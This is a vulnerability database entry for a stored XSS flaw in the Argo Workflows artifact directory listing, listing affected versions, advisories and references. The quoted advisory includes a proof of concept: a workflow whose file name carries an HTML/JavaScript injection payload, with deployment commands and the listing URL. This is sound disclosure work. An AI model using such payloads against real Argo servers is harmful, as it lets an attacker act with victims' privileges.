CVE-2026-23960
mediumPriorität · verfolgen · 22EPSS 0.004 · 36. PerzentilEUUSEPSS · bewertet 2026-10-27
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 4.4–7.3
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (11)
Betroffene Produkte und Versionsbereiche.
- Go github.com/argoproj/argo-workflowsalle VersionenosvUSpkg:golang/github.com/argoproj/argo-workflows
- Go github.com/argoproj/argo-workflows/v2alle VersionenosvUSpkg:golang/github.com/argoproj/argo-workflows/v2
- Go github.com/argoproj/argo-workflows/v3< 3.6.17osvUSpkg:golang/github.com/argoproj/argo-workflows/v3
- Go github.com/argoproj/argo-workflows/v33.7.0 → 3.7.8osvUSpkg:golang/github.com/argoproj/argo-workflows/v3
Advisories (3)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-cv78-6m8q-ph82Argo Workflows affected by stored XSS in the artifact directory listing2026-01-21ghsa · osvUS
### Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. ### Details The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory. https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244 ### PoC 1. Deploy Argo Workflows: ``` kubectl create ns argo kubectl apply --server-side -f manifests/base/crds/full kubectl apply --server-side -k manifests/quick-start/postgres ``` 2. Port‑forward Argo Server: ``` kubectl -n argo port-forward deploy/argo-server 2746:2746 ``` 3. Create the PoC workflow: ```yml cat > /tmp/argo-xss.yaml <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: xss-artifact-test- spec: entrypoint: main templates: - name: main container: image: alpine command: [sh, -c] args: - | mkdir -p /tmp/artifacts touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html' outputs: artifacts: - name: dir path: /tmp/artifacts archive: none: {} EOF ``` ``` kubectl -n argo create -f /tmp/argo-xss.yaml ``` 4. Wait for completion: ``` kubectl -n argo get wf -w ``` 5. Get the node ID: ``` kubectl -n argo get wf <wf-name> \ -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}' ``` 6. Open the listing: `https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/` <img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" /> ### Impact - The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API. - The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running. As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may): - Read information about the victim’s workflows. - Create or delete workflows.
- BIT-argo-workflows-2026-23960Argo Workflows affected by stored XSS in the artifact directory listing2026-01-26vendor · osvUS
Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.
- GO-2026-4350Argo Workflows affected by stored XSS in the artifact directory listing in github.com/argoproj/argo-workflows2026-02-02vendor · osvUS
Argo Workflows affected by stored XSS in the artifact directory listing in github.com/argoproj/argo-workflows
auch bekannt als (6)
Weitere Namen und Kennungen dieser Entität.
- CNNVD-202601-3334cnnvd
- EUVD-2026-3596enisa_euvd
- GHSA-cv78-6m8q-ph82enisa_euvd
- BIT-argo-workflows-2026-23960osv
- GHSA-cv78-6m8q-ph82osv
- GO-2026-4350osv
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (19)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244cnnvd
- https://github.com/argoproj/argo-workflows/commit/159a5c56285ecd4d3bb0a67aeef4507779a44e17cnnvd
- https://github.com/argoproj/argo-workflows/releasesPatchcnnvd
- https://github.com/argoproj/argo-workflows/releases/tag/v3.6.17cnnvd
- https://github.com/argoproj/argo-workflows/releases/tag/v3.7.8cnnvd
- https://github.com/argoproj/argo-workflows/security/advisories/GHSA-cv78-6m8q-ph82cnnvd
- https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244enisa_euvd
- https://github.com/argoproj/argo-workflows/commit/159a5c56285ecd4d3bb0a67aeef4507779a44e17enisa_euvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan